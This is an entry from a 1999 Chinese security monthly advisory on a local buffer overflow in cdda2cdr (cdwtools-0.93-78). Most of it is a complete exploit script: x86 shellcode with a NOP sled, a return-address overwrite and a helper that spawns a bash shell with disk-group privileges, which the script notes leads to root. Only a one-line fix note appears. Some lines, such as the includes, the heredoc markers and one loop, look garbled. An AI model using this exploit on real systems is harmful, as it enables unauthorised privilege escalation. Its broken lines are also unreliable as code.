绿盟安全月刊->第2期->最新漏洞 Linux cdda2cdr 本地溢出漏洞

作者：Brock Tellier
整理：blackknight
日期：1999-10-15


概述：
    在cdwtools-0.93-78中的dda2cdr 存在缓冲区溢出漏洞。修复此漏洞的补丁
将不久由各类linux的开发商提供。

漏洞代码：
--- cdda2x.sh ---
#! /bin/sh
#
# Shell script for Linux x86 cdda2cdr exploit
# Brock Tellier btellier@usa.net
#

cat > /tmp/cdda2x.c <
/**
** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros)

**编译：gcc -o cdda2x cdda2x.c;
**用法：cdda2x
**作者：Brock Tellier btellier@usa.net
**/


#include
#include

char exec[]= /* Generic Linux x86 running our /tmp program */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/cd";



#define LEN 500
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);

}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);

}
else {
offset=500;
buflen=500;

}


addr=get_sp();

fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i *(int *)&buf[i]=addr+offset;

execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);


/*
for (i=0; i < strlen(buf); i++) putchar(buf[i]);
*/

}

EOF

cat > /tmp/cd.c < void main() {
setregid(getegid(), getegid());
system("/bin/bash");
}
EOF

gcc -o /tmp/cd /tmp/cd.c
gcc -o /tmp/cdda2x /tmp/cdda2x.c
echo "Note that gid=6 leads to easy root access.."
/tmp/cdda2x

解决方法：
    到你所用Linux的提供商站点寻找最新的漏洞补丁。

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